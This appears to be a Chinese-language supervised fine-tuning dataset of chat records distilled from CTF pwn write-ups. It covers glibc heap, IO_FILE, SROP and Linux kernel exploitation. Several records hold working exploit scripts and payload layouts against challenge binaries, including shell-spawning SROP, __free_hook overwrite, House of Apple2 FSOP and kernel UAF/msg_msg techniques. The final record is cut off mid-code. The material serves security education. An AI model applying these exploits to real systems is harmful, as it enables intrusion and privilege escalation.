{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-5f954e2e391b9efd3e5b", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「如果能跨 cache reclaim」。\n资料来源：Kernel/2026d3ctf-d3kheap2pro/README.md；主题：2026d3ctf-d3kheap2pro；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 如果能跨 cache reclaim\n\n如果动态验证发现可以让其他内核对象占用这块 0x800 区域，则按常规 kernel heap 思路推进：\n\n- 优先找包含函数指针或可控长度字段的对象；\n- 通过 UAF 影响目标对象；\n- 配合 KASLR leak；\n- 最终走 `commit_creds(prepare_kernel_cred(NULL))` 或覆盖安全关键字段。\n\n但目前静态分析不支持直接断言这条路可行。", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-ad65a921429e74f0", "original_line": 36, "original_split": "validation", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/README.md", "split": "train", "split_group_key": "4f24a40cea540ed9b113d0aa"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/README.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-60292c060d88c4de53e6", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「3. tcache poisoning to _IO_file_jumps」。\n资料来源：IO-FILE/[CISCN 2022 华东北]duck/WP.md；主题：[CISCN 2022 华东北] duck - Pwn Writeup；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "# 3. tcache poisoning to _IO_file_jumps\nio_file_jumps = libc_base + libc.symbols[\"_IO_file_jumps\"]\none_gadget = libc_base + 0xda864\nfake_fd = ((heap_base + 0x8f0) >> 12) ^ io_file_jumps\n\nedit(7, 8, p64(fake_fd))\nadd()\nadd()", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-e6f520cedd3f9e26", "original_line": 187, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/[CISCN 2022 华东北]duck/WP.md", "split": "train", "split_group_key": "8a82ea35d8808d6caff7e707"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/[CISCN 2022 华东北]duck/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-60a77e23749d98f99478", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「关键源码片段」。\n资料来源：IO-FILE/house of storm/2026ccb catchme/wp.md；主题：2026ccb catchme；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### 关键源码片段\n- **unsorted bin取出时**：\n  ```c\n  unsorted_chunks(av)->bk = bck;\n  bck->fd = unsorted_chunks(av);\n  ```\n  若我们控制 `victim->bk = fake_chunk`，则执行 `fake_chunk->fd = unsorted_bin`。\n\n- **large bin插入时**（当unsorted chunk的size大于large bin中某个chunk时）：\n  ```c\n  victim->bk_nextsize = fwd->bk_nextsize;\n  fwd->bk_nextsize = victim;\n  victim->bk_nextsize->fd_nextsize = victim;\n  bck = fwd->bk;\n  ```\n  若控制 `fwd->bk_nextsize = fake_chunk - 0x18 - 5`，则能触发 `(fake_chunk - 0x18 - 5)->fd_nextsize = victim`，即向 `fake_chunk - 0x8` 处写入victim地址（堆地址）。\n  同时 `bck = fwd->bk` 由我们控制，最终执行 `bck->fd = victim`，即向 `fake_chunk + 0x8` 处写入victim地址。", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-e4b9f549d05bb415", "original_line": 237, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of storm/2026ccb catchme/wp.md", "split": "train", "split_group_key": "59c73050f60dc7a2444c3b7f"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of storm/2026ccb catchme/wp.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-60e480f66383b2c349dd", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「House of Apple2」。\n资料来源：IO-FILE/house of apple2/2024pcb babyheap/WP.md；主题：2024PCB babyheap WP；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## House of Apple2\n\nglibc 2.35 下常规 hook 已经不可用，本题又只有一次任意写，所以选择 FSOP / House of Apple2。\n\n目标是覆盖 `_IO_2_1_stdout_`，让后续菜单输出触发 wide file 相关调用链，最终调用：\n\n```c\nsystem(fp)\n```\n\n而 `fp` 就是 `_IO_2_1_stdout_` 的地址。只要让 FILE 结构开头是命令字符串，就能执行 shell：\n\n```text\nfake FILE 起始处 = \"  sh;\\x00\"\n```\n\n关键布置：\n\n```text\n_flags / FILE 起始      = \"  sh;\\x00\"\n_IO_write_ptr           = 1\n_chain / fake slot+0x68 = system\n_lock                   = writable libc address\n_wide_data              = fake_io_addr\n_mode                   = 0\nvtable                  = _IO_wfile_jumps - 0x180\nfake_wide_data->_wide_vtable = fake_io_addr\n```\n\n其中：\n\n```python\njumps = libc.address + 0x216f40      # _IO_wfile_jumps - 0x180\n```\n\n这个 vtable 地址仍落在 libc 的合法 IO vtable 区间内，可以绕过 `_IO_vtable_check`，并让调用链走到 wide-file 分支。由于：\n\n```text\n_wide_data = fake_io_addr\nfake_wide_data->_wide_vtable = fake_io_addr\n*(fake_wide_vtable + 0x68) = system\n```\n\n最终 wide vtable 调用会取到 `system`。此时第一个参数是 `fp`，而 `fp` 指向的内容以 `\"  sh;\"` 开头，于是执行 shell。", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-72824e1886b69dee", "original_line": 196, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of apple2/2024pcb babyheap/WP.md", "split": "train", "split_group_key": "fe49aac94cc72bab9c75b731"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of apple2/2024pcb babyheap/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-61732353e8d80d348737", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「1. 泄露内核基址」。\n资料来源：Kernel/2022ciscn-cactus/wp.md；主题：CISCN 2022 西南赛区半决赛 cactus WP；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### 1. 泄露内核基址\n\n1. 申请一个消息队列，只放一条 size 为 `0x400` 的消息。\n2. 申请并初始化一个 `pipe_buffer`。\n3. 通过 UAF 修改 `msg_msg->m_ts`。\n4. 使用带 `MSG_COPY` 的 `msgrcv()` 进行越界读。\n5. 从泄露数据中读取 `pipe_buffer->ops`，计算内核基址。", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-2d6845a1c8e364a9", "original_line": 30, "original_split": "validation", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2022ciscn-cactus/wp.md", "split": "train", "split_group_key": "965eb079ac1d2a6539e8dac3"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2022ciscn-cactus/wp.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-61de52a7f59c8ff43ea2", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/srop/[NewStarCTF 2023 公开赛道]srop/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/srop/[NewStarCTF 2023 公开赛道]srop/exp.py`\n\n分类：stack\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `dbg`\n\n利用主题关键词：\n- seccomp/orw\n- stack/rop\n\n关键常量/偏移样例：\n`0x300`, `0x401040`, `0x401171`, `0x404800`, `0x404f00`, `0x0000000000401203`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('pwn')\nio = process([elf.path])\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\ncontext.terminal = ['cmd.exe', '/c', 'start', '\"\"', 'wt.exe', 'wsl', '-e', 'bash', '-lc']\n\npop_rdi = 0x0000000000401203\n\nbss = 0x404800\npay = b'\\x00'*0x30 + flat(bss, 0x401171)\ns(pay.ljust(0x300, b'\\x00'))\n\nsyscall = 0x401040\n#read /bin/sh\nsh = 0x404800\nframe = SigreturnFrame()\nframe.rax = 0\nframe.rdi = 59\nframe.rsi = bss - 0x10\nframe.rdx = 0\nframe.rsp = bss - 0x40\nframe.rip = syscall\n\npay = b\"/bin/sh\\x00\"*6 + flat(0x404f00,pop_rdi,15,syscall,frame)\n\nr()\ns(pay.ljust(0x300,b\"\\x00\"))\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-459fa45a4a57a0d4", "original_line": 569, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/srop/[NewStarCTF 2023 公开赛道]srop/exp.py", "split": "train", "split_group_key": "4d67c5e3a386f6100f387d7a"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/srop/[NewStarCTF 2023 公开赛道]srop/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-62621e68d23fcef9b572", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「地址泄露」。\n资料来源：Kernel/2022ciscn-cactus/wp.md；主题：CISCN 2022 西南赛区半决赛 cactus WP；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### 地址泄露\n\n通过修改 `msg_msg->m_ts`，可以让 `msgrcv()` 读取更多数据，从而实现最多接近一页的越界读：\n\n- 如果单向链表只有 `msg_msg`，可以读取该 `msg_msg` 附近的数据。\n- 如果单向链表中包含 `msg_msgseg`，可以读取尾部 `msg_msgseg` 附近的数据。\n- 如果同时修改 `msg_msg->m_ts` 和 `msg_msg->m_list.next`，可以结合堆喷泄露其他对象的堆地址或内核地址。\n\n常见方法是喷多个消息队列，每个队列只放一条消息。此时每个消息队列中的 `msg_msg` 会与其 `msg_queue` 组成双向循环链表。通过某个 `msg_msg` 的越界读，有概率读到其他消息队列中 `msg_msg->m_list` 字段，从而泄露对应 `msg_queue` 地址。\n\n进一步伪造 `msg_msg->next` 后，可以沿目标结构进行读取，实现任意地址读。但需要注意，`store_msg()` 以 `seg->next == NULL` 作为结束条件，所以目标链必须最终可达一个 `NULL` 节点，且中途不能访问不可读地址，否则可能触发 kernel panic。", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-a03702e15e4f521b", "original_line": 345, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2022ciscn-cactus/wp.md", "split": "train", "split_group_key": "965eb079ac1d2a6539e8dac3"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2022ciscn-cactus/wp.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-62b4e568d5d521a7ed2b", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「无法利用的点」。\n资料来源：Kernel/2022ciscn-cactus/wp.md；主题：CISCN 2022 西南赛区半决赛 cactus WP；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### 无法利用的点\n\n`kernel_release()` 中存在释放后指针未清零的问题：\n\n```c\nint __fastcall kernel_release(inode *inode, file *filp)\n{\n    char **v2; // rax\n    int result; // eax\n\n    _fentry__();\n    v2 = addrList;\n    do\n        *v2++ = 0LL;\n    while (v2 != &addrList[32]);\n    kfree(buffer, filp);\n    result = 0;\n    flags = 0;\n    return result;\n}\n```\n\n但 `kernel_open()` 通过 `flags` 做了限制：\n\n```c\nvoid kernel_open()\n{\n    __int64 v0; // rdi\n\n    _fentry__();\n    if (!flags) {\n        v0 = kmalloc_caches[8];\n        flags = 1;\n        buffer = (char *)kmem_cache_alloc_trace(v0, 0xCC0LL, 0x100LL);\n        if (buffer)\n            kernel_open_cold();\n    }\n}\n```\n\n因此不能简单地连续两次 `open()`，再利用 `kernel_release()` 中的悬挂指针构造 `0x100` object UAF。\n\n由于 `kernel_open()`、`kernel_release()`、`kernel_read()` 和 `kernel_write()` 都未加锁，并且 `read/write` 路径中存在类似 `copy_to_user()` 的操作：\n\n```c\nif (copy_to_user(a2, v4, v5))\n    return -2LL;\n```\n\n可以考虑使用 userfaultfd 卡住当前线程，在另一个线程中调用 `kernel_release()`，从而形成 `0x100` size UAF。最初尝试用该方式结合 `timerfd_ctx` 泄露内核基址，但文件描述符关闭会被 `fput()` 延迟，直到读取结束后才真正释放，因此这种方式不可行。", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-aa1d1737f073eb99", "original_line": 346, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2022ciscn-cactus/wp.md", "split": "train", "split_group_key": "965eb079ac1d2a6539e8dac3"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2022ciscn-cactus/wp.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-636f24c631410e0851ad", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「题目信息」。\n资料来源：Kernel/2022ciscn-cactus/wp.md；主题：CISCN 2022 西南赛区半决赛 cactus WP；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 题目信息\n\n题目开启了 KPTI、SMAP、SMEP 等常规保护。\n\n内核版本：\n\n```text\n/ $ uname -a\nLinux (none) 5.10.102 #2 SMP Sun Mar 27 17:29:07 CST 2022 x86_64 GNU/Linux\n```\n\n从 5.11 内核开始，非特权用户默认不能使用 userfaultfd。这道题使用的是 5.10 内核，因此仍可利用 userfaultfd。", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-3313a43bd4f719d1", "original_line": 338, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2022ciscn-cactus/wp.md", "split": "train", "split_group_key": "965eb079ac1d2a6539e8dac3"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2022ciscn-cactus/wp.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-643198a763646aec6740", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「threads arena」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## threads arena\n\n+ 每个进程只有一个主分配区(main_arena)，可能存在多个非主分配区(non_main_arena)：\n+ x86: `2*number of cores + 1`\n+ x64: `8*number of cores + 1`\n+ `main_arena`使用`brk`和`mmap`申请虚拟内存\n  - `mmap`分配的内存一律通过`munmap`返还\n  - 只有一个heap\n+ `non_main_arena`只能用`mmap`\n  - 每次用`mmap`向系统批发`HEAP_MAX_SIZE`(32位1MB,64位64MB)，对象请求时再零售\n  - 当前`heap`不够用，`mmap`再次申请`heap`，所以可以包含多个`heaps`", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-ffc59ca8ffd7bc63", "original_line": 113, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-64d2e2d082aaeecd4561", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「完整 exp」。\n资料来源：IO-FILE/house of cat/强网杯2022houseofcat/WP.md；主题：强网杯 2022 houseofcat WP；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 完整 exp\n\n完整脚本已整理到当前目录：[`exp.py`](./exp.py)。本地测试：\n\n```bash\nprintf '[FLAG_REDACTED]\\n' > flag\npython3 ./exp.py\n```\n\n验证输出中成功泄露地址并读出 dummy flag：\n\n```text\n[+] libc_base = 0x...\n[+] heap_base = 0x...\n[FLAG_REDACTED]\n```\n\n远程使用：\n\n```bash\npython3 ./exp.py --remote --host  --port \n```", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 34, "ctf_task_type": "pwn", "original_id": "pwn101-doc-e2728fb79c428327", "original_line": 228, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of cat/强网杯2022houseofcat/WP.md", "split": "train", "split_group_key": "578233bae2b6c983d51c12ff"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of cat/强网杯2022houseofcat/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-66138f99fd014e9dfd38", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Heap/tcache attack/tcache key/pwn.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Heap/tcache attack/tcache key/pwn.c`\n\n分类：heap\n\n语言：c\n\n环境/依赖线索：\n- `#include`\n- `#include`\n\n函数/封装：\n- `create_heap`\n- `delete_heap`\n- `edit_item`\n- `init`\n- `main`\n- `menu`\n- `show_item`\n\n利用主题关键词：\n- heap/tcache\n- seccomp/orw\n\n训练用代码片段：\n```c\n#include\n#include\nchar *heaparray[24];\nint num=0;\nvoid init()\n{\n  setvbuf(stdin, 0LL, 2, 0LL);\n  setvbuf(stdout, 0LL, 2, 0LL);\n  setvbuf(stderr, 0LL, 2, 0LL);\n\n}\nvoid create_heap() {\n  int i;\n  for (i = 0; i < 24; i++) {\n    if (!heaparray[i]) {\n      heaparray[i] = (char *)malloc(0x90);\n      if (!heaparray[i]) {\n        puts(\"error\");\n        exit(2);\n      }\n      puts(\"over\\n\");\n      num++;\n      break;\n    }\n  }\n}\nvoid delete_heap() {\n  int idx;\n  char buf[4];\n  puts(\"idx\");\n  read(0, buf, 4);\n  idx = atoi(buf);\n  if (idx < 0 || idx >= 24) {\n    puts(\"error\");\n    exit(0);\n  }\n  if (heaparray[idx]) {\n    free(heaparray[idx]);\n    puts(\"over\\n\");\n    num--;\n  } else {\n    puts(\"error\\n\");\n  }\n}\nvoid show_item() {\n  int i;\n  int idx;\n  char buf[4];\n  puts(\"idx\");\n    (read(0, buf, 4));\n    idx = atoi(buf);\n  if (!heaparray[idx]) {\n    puts(\"no hvae things\\n\");\n  } else {\n    printf(\"Content:\");\n    printf(\"%s\",heaparray[idx]);\n  }\n}\nvoid edit_item(){\n  int i;\n  int idx;\n  char buf[4];\n  puts(\"idx\");\n    (read(0, buf, 4));\n    idx = atoi(buf);\n  if (!heaparray[idx]) {\n    puts(\"no hvae things\\n\");\n  } else {\n    puts(\"Content:\");\n    read(0,heaparray[idx], 0x90);\n  }\n}\nvoid menu()\n{\n        puts(\"1. Get a page\");\n        puts(\"2. Take out\");\n        puts(\"3. Read page\");\n        puts(\"4. edit a page\");\n}\nvoid main()\n{\n  init();\n  int i;\n  while(1)\n  {\n    menu();\n    scanf(\"%d\",&i);\n    switch(i)\n    {\n      case 1:create_heap();break;\n      case 2:delete_heap();break;\n      case 3:show_item();break;\n      case 4:edit_item();break;\n      default:puts(\"error\");break;\n    }\n  }\n}\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-cc9c6d927673ff0d", "original_line": 36, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/tcache key/pwn.c", "split": "train", "split_group_key": "2de9ce69159688f111aff14f"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/tcache key/pwn.c", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-66234bc64ae714adec8c", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「tcache stash with fastbin double free」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### tcache stash with fastbin double free\n\n在 fastbin 中并没有严密的 double free 检测，我们可以在填满对应的 tcache 链条后在 fastbin 中完成 double free，随后通过 stash 机制将 fastbin 中 chunk 倒回 tcache 中。此时 fsat bin double free 就变成了 tcahce double free 。\n\n```python\nfrom pwn import *\n\nelf = ELF(\"./pwn\")\nlibc = ELF(\"./libc.so.6\")\ncontext(arch=elf.arch, os=elf.os)\ncontext.log_level = 'debug'\n\np = process([elf.path])\n\ndef add_chunk(index, size):\n    p.sendafter(\"choice:\", \"1\")\n    p.sendafter(\"index:\", str(index))\n    p.sendafter(\"size:\", str(size))\n\ndef delete_chunk(index):\n    p.sendafter(\"choice:\", \"2\")\n    p.sendafter(\"index:\", str(index))\n\ndef edit_chunk(index, content):\n    p.sendafter(\"choice:\", \"3\")\n    p.sendafter(\"index:\", str(index))\n    p.sendafter(\"length:\", str(len(content)))\n    p.sendafter(\"content:\", content)\n\ndef show_chunk(index):\n    p.sendafter(\"choice:\", \"4\")\n    p.sendafter(\"index:\", str(index))\n\nadd_chunk(0, 0x410)\nadd_chunk(1, 0x10)\ndelete_chunk(0)\nadd_chunk(0, 0x410)\nshow_chunk(0)\nlibc.address = u64(p.recvuntil('\\x7F')[-6:].ljust(8, '\\x00')) - 0x3b6be0\ninfo(\"libc base: \" + hex(libc.address))\nfor i in range(9):\n    add_chunk(i, 0x10)\nfor i in range(2, 9):\n    delete_chunk(i)\ndelete_chunk(0)\ndelete_chunk(1)\ndelete_chunk(0)\nfor i in range(2, 9):\n    add_chunk(i, 0x10)\nadd_chunk(0, 0x10)\nedit_chunk(0, p64(libc.sym['__free_hook']))\nadd_chunk(0, 0x10)\nadd_chunk(0, 0x10)\nadd_chunk(0, 0x10)\nedit_chunk(0, p64(libc.sym['system']))", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-0501e9bd339bd150", "original_line": 57, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-67074c8c848a13508961", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「内核到用户态的数据拷贝」。\n资料来源：Kernel/2022ciscn-cactus/wp.md；主题：CISCN 2022 西南赛区半决赛 cactus WP；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### 内核到用户态的数据拷贝\n\n`do_msgrcv()` 末尾调用 `msg_handler()`：\n\n```c\nbufsz = msg_handler(buf, msg, bufsz);\n```\n\n`ksys_msgrcv()` 传入的处理函数为 `do_msg_fill()`：\n\n```c\nlong ksys_msgrcv(int msqid, struct msgbuf __user *msgp, size_t msgsz,\n         long msgtyp, int msgflg)\n{\n    return do_msgrcv(msqid, msgp, msgsz, msgtyp, msgflg, do_msg_fill);\n}\n```\n\n`do_msg_fill()` 会写回 `m_type` 并调用 `store_msg()` 拷贝消息内容：\n\n```c\nstatic long do_msg_fill(void __user *dest, struct msg_msg *msg, size_t bufsz)\n{\n    struct msgbuf __user *msgp = dest;\n    size_t msgsz;\n\n    if (put_user(msg->m_type, &msgp->mtype))\n        return -EFAULT;\n\n    msgsz = (bufsz > msg->m_ts) ? msg->m_ts : bufsz;\n    if (store_msg(msgp->mtext, msg, msgsz))\n        return -EFAULT;\n    return msgsz;\n}\n```\n\n```c\nint store_msg(void __user *dest, struct msg_msg *msg, size_t len)\n{\n    size_t alen;\n    struct msg_msgseg *seg;\n\n    alen = min(len, DATALEN_MSG);\n    if (copy_to_user(dest, msg + 1, alen))\n        return -1;\n\n    for (seg = msg->next; seg != NULL; seg = seg->next) {\n        len -= alen;\n        dest = (char __user *)dest + alen;\n        alen = min(len, DATALEN_SEG);\n        if (copy_to_user(dest, seg + 1, alen))\n            return -1;\n    }\n    return 